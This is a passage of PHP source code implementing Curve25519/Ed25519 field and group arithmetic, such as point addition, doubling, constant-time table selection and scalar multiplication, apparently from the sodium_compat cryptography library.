t0); # fe_mul(out, t0, z); $t0 = self::fe_mul($t1, $t0); $t0 = self::fe_sq($t0); $t0 = self::fe_sq($t0); return self::fe_mul($t0, $z); } /** * Subtract two field elements. * * h = f - g * * Preconditions: * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. * * Postconditions: * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @return ParagonIE_Sodium_Core_Curve25519_Fe * @psalm-suppress MixedOperand */ public static function fe_sub(ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g) { return self::fe_normalize( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) ($f[0] - $g[0]), (int) ($f[1] - $g[1]), (int) ($f[2] - $g[2]), (int) ($f[3] - $g[3]), (int) ($f[4] - $g[4]), (int) ($f[5] - $g[5]), (int) ($f[6] - $g[6]), (int) ($f[7] - $g[7]), (int) ($f[8] - $g[8]), (int) ($f[9] - $g[9]) ) ) ); } /** * Add two group elements. * * r = p + q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_add( ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q ) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->YplusX); $r->Y = self::fe_mul($r->Y, $q->YminusX); $r->T = self::fe_mul($q->T2d, $p->T); $r->X = self::fe_mul($p->Z, $q->Z); $t0 = self::fe_add($r->X, $r->X); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_add($t0, $r->T); $r->T = self::fe_sub($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @ref https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215 * @param string $a * @return array<int, mixed> * @throws SodiumException * @throws TypeError */ public static function slide($a) { if (self::strlen($a) < 256) { if (self::strlen($a) < 16) { $a = str_pad($a, 256, '0', STR_PAD_RIGHT); } } /** @var array<int, int> $r */ $r = array(); /** @var int $i */ for ($i = 0; $i < 256; ++$i) { $r[$i] = (int) ( 1 & ( self::chrToInt($a[(int) ($i >> 3)]) >> ($i & 7) ) ); } for ($i = 0;$i < 256;++$i) { if ($r[$i]) { for ($b = 1;$b <= 6 && $i + $b < 256;++$b) { if ($r[$i + $b]) { if ($r[$i] + ($r[$i + $b] << $b) <= 15) { $r[$i] += $r[$i + $b] << $b; $r[$i + $b] = 0; } elseif ($r[$i] - ($r[$i + $b] << $b) >= -15) { $r[$i] -= $r[$i + $b] << $b; for ($k = $i + $b; $k < 256; ++$k) { if (!$r[$k]) { $r[$k] = 1; break; } $r[$k] = 0; } } else { break; } } } } } return $r; } /** * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_frombytes_negate_vartime($s) { static $d = null; if (!$d) { $d = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d); } # fe_frombytes(h->Y,s); # fe_1(h->Z); $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3( self::fe_0(), self::fe_frombytes($s), self::fe_1() ); # fe_sq(u,h->Y); # fe_mul(v,u,d); # fe_sub(u,u,h->Z); /* u = y^2-1 */ # fe_add(v,v,h->Z); /* v = dy^2+1 */ $u = self::fe_sq($h->Y); /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d */ $v = self::fe_mul($u, $d); $u = self::fe_sub($u, $h->Z); /* u = y^2 - 1 */ $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */ # fe_sq(v3,v); # fe_mul(v3,v3,v); /* v3 = v^3 */ # fe_sq(h->X,v3); # fe_mul(h->X,h->X,v); # fe_mul(h->X,h->X,u); /* x = uv^7 */ $v3 = self::fe_sq($v); $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */ $h->X = self::fe_sq($v3); $h->X = self::fe_mul($h->X, $v); $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */ # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */ # fe_mul(h->X,h->X,v3); # fe_mul(h->X,h->X,u); /* x = uv^3(uv^7)^((q-5)/8) */ $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */ $h->X = self::fe_mul($h->X, $v3); $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8) */ # fe_sq(vxx,h->X); # fe_mul(vxx,vxx,v); # fe_sub(check,vxx,u); /* vx^2-u */ $vxx = self::fe_sq($h->X); $vxx = self::fe_mul($vxx, $v); $check = self::fe_sub($vxx, $u); /* vx^2 - u */ # if (fe_isnonzero(check)) { # fe_add(check,vxx,u); /* vx^2+u */ # if (fe_isnonzero(check)) { # return -1; # } # fe_mul(h->X,h->X,sqrtm1); # } if (self::fe_isnonzero($check)) { $check = self::fe_add($vxx, $u); /* vx^2 + u */ if (self::fe_isnonzero($check)) { throw new RangeException('Internal check failed.'); } $h->X = self::fe_mul( $h->X, ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1) ); } # if (fe_isnegative(h->X) == (s[31] >> 7)) { # fe_neg(h->X,h->X); # } $i = self::chrToInt($s[31]); if (self::fe_isnegative($h->X) === ($i >> 7)) { $h->X = self::fe_neg($h->X); } # fe_mul(h->T,h->X,h->Y); $h->T = self::fe_mul($h->X, $h->Y); return $h; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_madd( ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R, ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q ) { $r = clone $R; $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->yplusx); $r->Y = self::fe_mul($r->Y, $q->yminusx); $r->T = self::fe_mul($q->xy2d, $p->T); $t0 = self::fe_add(clone $p->Z, clone $p->Z); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_add($t0, $r->T); $r->T = self::fe_sub($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_msub( ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R, ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q ) { $r = clone $R; $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->yminusx); $r->Y = self::fe_mul($r->Y, $q->yplusx); $r->T = self::fe_mul($q->xy2d, $p->T); $t0 = self::fe_add($p->Z, $p->Z); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_sub($t0, $r->T); $r->T = self::fe_add($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 */ public static function ge_p1p1_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P2(); $r->X = self::fe_mul($p->X, $p->T); $r->Y = self::fe_mul($p->Y, $p->Z); $r->Z = self::fe_mul($p->Z, $p->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 */ public static function ge_p1p1_to_p3(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P3(); $r->X = self::fe_mul($p->X, $p->T); $r->Y = self::fe_mul($p->Y, $p->Z); $r->Z = self::fe_mul($p->Z, $p->T); $r->T = self::fe_mul($p->X, $p->Y); return $r; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 */ public static function ge_p2_0() { return new ParagonIE_Sodium_Core_Curve25519_Ge_P2( self::fe_0(), self::fe_1(), self::fe_1() ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_p2_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); $r->X = self::fe_sq($p->X); $r->Z = self::fe_sq($p->Y); $r->T = self::fe_sq2($p->Z); $r->Y = self::fe_add($p->X, $p->Y); $t0 = self::fe_sq($r->Y); $r->Y = self::fe_add($r->Z, $r->X); $r->Z = self::fe_sub($r->Z, $r->X); $r->X = self::fe_sub($t0, $r->Y); $r->T = self::fe_sub($r->T, $r->Z); return $r; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 */ public static function ge_p3_0() { return new ParagonIE_Sodium_Core_Curve25519_Ge_P3( self::fe_0(), self::fe_1(), self::fe_1(), self::fe_0() ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached */ public static function ge_p3_to_cached(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p) { static $d2 = null; if ($d2 === null) { $d2 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d2); } /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d2 */ $r = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(); $r->YplusX = self::fe_add($p->Y, $p->X); $r->YminusX = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_copy($p->Z); $r->T2d = self::fe_mul($p->T, $d2); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 */ public static function ge_p3_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p) { return new ParagonIE_Sodium_Core_Curve25519_Ge_P2( self::fe_copy($p->X), self::fe_copy($p->Y), self::fe_copy($p->Z) ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h * @return string * @throws SodiumException * @throws TypeError */ public static function ge_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h) { $recip = self::fe_invert($h->Z); $x = self::fe_mul($h->X, $recip); $y = self::fe_mul($h->Y, $recip); $s = self::fe_tobytes($y); $s[31] = self::intToChr( self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7) ); return $s; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_p3_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p) { $q = self::ge_p3_to_p2($p); return self::ge_p2_dbl($q); } /** * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp */ public static function ge_precomp_0() { return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( self::fe_1(), self::fe_1(), self::fe_0() ); } /** * @internal You should not use this directly from another application * * @param int $b * @param int $c * @return int */ public static function equal($b, $c) { return (int) ((($b ^ $c) - 1) >> 31) & 1; } /** * @internal You should not use this directly from another application * * @param int|string $char * @return int (1 = yes, 0 = no) * @throws SodiumException * @throws TypeError */ public static function negative($char) { if (is_int($char)) { return ($char >> 63) & 1; } $x = self::chrToInt(self::substr($char, 0, 1)); return (int) ($x >> 63); } /** * Conditional move * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp */ public static function cmov( ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u, $b ) { if (!is_int($b)) { throw new InvalidArgumentException('Expected an integer.'); } return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( self::fe_cmov($t->yplusx, $u->yplusx, $b), self::fe_cmov($t->yminusx, $u->yminusx, $b), self::fe_cmov($t->xy2d, $u->xy2d, $b) ); } /** * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $t * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $u * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached */ public static function ge_cmov_cached( ParagonIE_Sodium_Core_Curve25519_Ge_Cached $t, ParagonIE_Sodium_Core_Curve25519_Ge_Cached $u, $b ) { $b &= 1; $ret = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(); $ret->YplusX = self::fe_cmov($t->YplusX, $u->YplusX, $b); $ret->YminusX = self::fe_cmov($t->YminusX, $u->YminusX, $b); $ret->Z = self::fe_cmov($t->Z, $u->Z, $b); $ret->T2d = self::fe_cmov($t->T2d, $u->T2d, $b); return $ret; } /** * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $cached * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached * @throws SodiumException */ public static function ge_cmov8_cached(array $cached, $b) { // const unsigned char bnegative = negative(b); // const unsigned char babs = b - (((-bnegative) & b) * ((signed char) 1 << 1)); $bnegative = self::negative($b); $babs = $b - (((-$bnegative) & $b) << 1); // ge25519_cached_0(t); $t = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached( self::fe_1(), self::fe_1(), self::fe_1(), self::fe_0() ); // ge25519_cmov_cached(t, &cached[0], equal(babs, 1)); // ge25519_cmov_cached(t, &cached[1], equal(babs, 2)); // ge25519_cmov_cached(t, &cached[2], equal(babs, 3)); // ge25519_cmov_cached(t, &cached[3], equal(babs, 4)); // ge25519_cmov_cached(t, &cached[4], equal(babs, 5)); // ge25519_cmov_cached(t, &cached[5], equal(babs, 6)); // ge25519_cmov_cached(t, &cached[6], equal(babs, 7)); // ge25519_cmov_cached(t, &cached[7], equal(babs, 8)); for ($x = 0; $x < 8; ++$x) { $t = self::ge_cmov_cached($t, $cached[$x], self::equal($babs, $x + 1)); } // fe25519_copy(minust.YplusX, t->YminusX); // fe25519_copy(minust.YminusX, t->YplusX); // fe25519_copy(minust.Z, t->Z); // fe25519_neg(minust.T2d, t->T2d); $minust = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached( self::fe_copy($t->YminusX), self::fe_copy($t->YplusX), self::fe_copy($t->Z), self::fe_neg($t->T2d) ); return self::ge_cmov_cached($t, $minust, $bnegative); } /** * @internal You should not use this directly from another application * * @param int $pos * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayOffset */ public static function ge_select($pos = 0, $b = 0) { static $base = null; if ($base === null) { $base = array(); /** @var int $i */ foreach (self::$base as $i => $bas) { for ($j = 0; $j < 8; ++$j) { $base[$i][$j] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][0]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][1]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][2]) ); } } } /** @var array<int, array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp>> $base */ if (!is_int($pos)) { throw new InvalidArgumentException('Position must be an integer'); } if ($pos < 0 || $pos > 31) { throw new RangeException('Position is out of range [0, 31]'); } $bnegative = self::negative($b); $babs = $b - (((-$bnegative) & $b) << 1); $t = self::ge_precomp_0(); for ($i = 0; $i < 8; ++$i) { $t = self::cmov( $t, $base[$pos][$i], self::equal($babs, $i + 1) ); } $minusT = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( self::fe_copy($t->yminusx), self::fe_copy($t->yplusx), self::fe_neg($t->xy2d) ); return self::cmov($t, $minusT, $bnegative); } /** * Subtract two group elements. * * r = p - q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_sub( ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q ) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->YminusX); $r->Y = self::fe_mul($r->Y, $q->YplusX); $r->T = self::fe_mul($q->T2d, $p->T); $r->X = self::fe_mul($p->Z, $q->Z); $t0 = self::fe_add($r->X, $r->X); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_sub($t0, $r->T); $r->T = self::fe_add($t0, $r->T); return $r; } /** * Convert a group element to a byte string. * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h * @return string * @throws SodiumException * @throws TypeError */ public static function ge_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h) { $recip = self::fe_invert($h->Z); $x = self::fe_mul($h->X, $recip); $y = self::fe_mul($h->Y, $recip); $s = self::fe_tobytes($y); $s[31] = self::intToChr( self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7) ); return $s; } /** * @internal You should not use this directly from another application * * @param string $a * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A * @param string $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess */ public static function ge_double_scalarmult_vartime( $a, ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A, $b ) { /** @var array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Cached> $Ai */ $Ai = array(); /** @var array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp> $Bi */ static $Bi = array(); if (!$Bi) { for ($i = 0; $i < 8; ++$i) { $Bi[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][0]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][1]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][2]) ); } } for ($i = 0; $i < 8; ++$i) { $Ai[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached( self::fe_0(), self::fe_0(), self::fe_0(), self::fe_0() ); } # slide(aslide,a); # slide(bslide,b); /** @var array<int, int> $aslide */ $aslide = self::slide($a); /** @var array<int, int> $bslide */ $bslide = self::slide($b); # ge_p3_to_cached(&Ai[0],A); # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t); $Ai[0] = self::ge_p3_to_cached($A); $t = self::ge_p3_dbl($A); $A2 = self::ge_p1p1_to_p3($t); # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[1],&u); # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[2],&u); # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[3],&u); # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[4],&u); # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[5],&u); # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[6],&u); # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[7],&u); for ($i = 0; $i < 7; ++$i) { $t = self::ge_add($A2, $Ai[$i]); $u = self::ge_p1p1_to_p3($t); $Ai[$i + 1] = self::ge_p3_to_cached($u); } # ge_p2_0(r); $r = self::ge_p2_0(); # for (i = 255;i >= 0;--i) { # if (aslide[i] || bslide[i]) break; # } $i = 255; for (; $i >= 0; --$i) { if ($aslide[$i] || $bslide[$i]) { break; } } # for (;i >= 0;--i) { for (; $i >= 0; --$i) { # ge_p2_dbl(&t,r); $t = self::ge_p2_dbl($r); # if (aslide[i] > 0) { if ($aslide[$i] > 0) { # ge_p1p1_to_p3(&u,&t); # ge_add(&t,&u,&Ai[aslide[i]/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_add( $u, $Ai[(int) floor($aslide[$i] / 2)] ); # } else if (aslide[i] < 0) { } elseif ($aslide[$i] < 0) { # ge_p1p1_to_p3(&u,&t); # ge_sub(&t,&u,&Ai[(-aslide[i])/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_sub( $u, $Ai[(int) floor(-$aslide[$i] / 2)] ); } # if (bslide[i] > 0) { if ($bslide[$i] > 0) { /** @var int $index */ $index = (int) floor($bslide[$i] / 2); # ge_p1p1_to_p3(&u,&t); # ge_madd(&t,&u,&Bi[bslide[i]/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_madd($t, $u, $Bi[$index]); # } else if (bslide[i] < 0) { } elseif ($bslide[$i] < 0) { /** @var int $index */ $index = (int) floor(-$bslide[$i] / 2); # ge_p1p1_to_p3(&u,&t); # ge_msub(&t,&u,&Bi[(-bslide[i])/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_msub($t, $u, $Bi[$index]); } # ge_p1p1_to_p2(r,&t); $r = self::ge_p1p1_to_p2($t); } return $r; } /** * @internal You should not use this directly from another application * * @param string $a * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ public static function ge_scalarmult($a, $p) { $e = array_fill(0, 64, 0); /** @var ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $pi */ $pi = array(); // ge25519_p3_to_cached(&pi[1 - 1], p); /* p */ $pi[0] = self::ge_p3_to_cached($p); // ge25519_p3_dbl(&t2, p); // ge25519_p1p1_to_p3(&p2, &t2); // ge25519_p3_to_cached(&pi[2 - 1], &p2); /* 2p = 2*p */ $t2 = self::ge_p3_dbl($p); $p2 = self::ge_p1p1_to_p3($t2); $pi[1] = self::ge_p3_to_cached($p2); // ge25519_add_cached(&t3, p, &pi[2 - 1]); // ge25519_p1p1_to_p3(&p3, &t3); // ge25519_p3_to_cached(&pi[3 - 1], &p3); /* 3p = 2p+p */ $t3 = self::ge_add($p, $pi[1]); $p3 = self::ge_p1p1_to_p3($t3); $pi[2] = self::ge_p3_to_cached($p3); // ge25519_p3_dbl(&t4, &p2); // ge25519_p1p1_to_p3(&p4, &t4); // ge25519_p3_to_cached(&pi[4 - 1], &p4); /* 4p = 2*2p */ $t4 = self::ge_p3_dbl($p2); $p4 = self::ge_p1p1_to_p3($t4); $pi[3] = self::ge_p3_to_cached($p4); // ge25519_add_cached(&t5, p, &pi[4 - 1]); // ge25519_p1p1_to_p3(&p5, &t5); // ge25519_p3_to_cached(&pi[5 - 1], &p5); /* 5p = 4p+p */ $t5 = self::ge_add($p, $pi[3]); $p5 = self::ge_p1p1_to_p3($t5); $pi[4] = self::ge_p3_to_cached($p5); // ge25519_p3_dbl(&t6, &p3); // ge25519_p1p1_to_p3(&p6, &t6); // ge25519_p3_to_cached(&pi[6 - 1], &p6); /* 6p = 2*3p */ $t6 = self::ge_p3_dbl($p3); $p6 = self::ge_p1p1_to_p3($t6); $pi[5] = self::ge_p3_to_cached($p6); // ge25519_add_cached(&t7, p, &pi[6 - 1]); // ge25519_p1p1_to_p3(&p7, &t7); // ge25519_p3_to_cached(&pi[7 - 1], &p7); /* 7p = 6p+p */ $t7 = self::ge_add($p, $pi[5]); $p7 = self::ge_p1p1_to_p3($t7); $pi[6] = self::ge_p3_to_cached($p7); // ge25519_p3_dbl(&t8, &p4); // ge25519_p1p1_to_p3(&p8, &t8); // ge25519_p3_to_cached(&pi[8 - 1], &p8); /* 8p = 2*4p */ $t8 = self::ge_p3_dbl($p4); $p8 = self::ge_p1p1_to_p3($t8); $pi[7] = self::ge_p3_to_cached($p8); // for (i = 0; i < 32; ++i) { // e[2 * i + 0] = (a[i] >> 0) & 15; // e[2 * i + 1] = (a[i] >> 4) & 15; // } for ($i = 0; $i < 32; ++$i) { $e[($i << 1) ] = self::chrToInt($a[$i]) & 15; $e[($i << 1) + 1] = (self::chrToInt($a[$i]) >> 4) & 15; } // /* each e[i] is between 0 and 15 */ // /* e[63] is between 0 and 7 */ // carry = 0; // for (i = 0; i < 63; ++i) { // e[i] += carry; // carry = e[i] + 8; // carry >>= 4; // e[i] -= carry * ((signed char) 1 << 4); // } $carry = 0; for ($i = 0; $i < 63; ++$i) { $e[$i] += $carry; $carry = $e[$i] + 8; $carry >>= 4; $e[$i] -= $carry << 4; } // e[63] += carry; // /* each e[i] is between -8 and 8 */ $e[63] += $carry; // ge25519_p3_0(h); $h = self::ge_p3_0(); // for (i = 63; i != 0; i--) { for ($i = 63; $i != 0; --$i) { // ge25519_cmov8_cached(&t, pi, e[i]); $t = self::ge_cmov8_cached($pi, $e[$i]); // ge25519_add_cached(&r, h, &t); $r = self::ge_add($h, $t); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); // ge25519_p1p1_to_p3(h, &r); /* *16 */ $h = self::ge_p1p1_to_p3($r); /* *16 */ } // ge25519_cmov8_cached(&t, pi, e[i]); // ge25519_add_cached(&r, h, &t); // ge25519_p1p1_to_p3(h, &r); $t = self::ge_cmov8_cached($pi, $e[0]); $r = self::ge_add($h, $t); return self::ge_p1p1_to_p3($r); } /** * @internal You should not use this directly from another application * * @param string $a * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ public static function ge_scalarmult_base($a) { /** @var array<int, int> $e */ $e = array(); $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); for ($i = 0; $i < 32; ++$i) { $dbl = (int) $i << 1; $e[$dbl] = (int) self::chrToInt($a[$i]) & 15; $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) & 15; } $carry = 0; for ($i = 0; $i < 63; ++$i) { $e[$i] += $carry; $carry = $e[$i] + 8; $carry >>= 4; $e[$i] -= $carry << 4; } $e[63] += (int) $carry; $h = self::ge_p3_0(); for ($i = 1; $i < 64; $i += 2) { $t = self::ge_select((int) floor($i / 2), (int) $e[$i]); $r = self::ge_madd($r, $h, $t); $h = self::ge_p1p1_to_p3($r); } $r = self::ge_p3_dbl($h); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $h = self::ge_p1p1_to_p3($r); for ($i = 0; $i < 64; $i += 2) { $t = self::ge_select($i >> 1, (int) $e[$i]); $r = self::ge_madd($r, $h, $t); $h = self::ge_p1p1_to_p3($r); } return $h; } /** * Calculates (ab + c) mod l * where l = 2^252 + 27742317777372353535851937790883648493 * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @param string $c * @return string * @throws TypeError */ public static function sc_muladd($a, $b, $c) { $a0 = 2097151 & self::load_3(self::substr($a, 0, 3)); $a1 = 2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5); $a2 = 2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2); $a3 = 2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7); $a4 = 2097151 & (self::load_4(self::substr($a, 10, 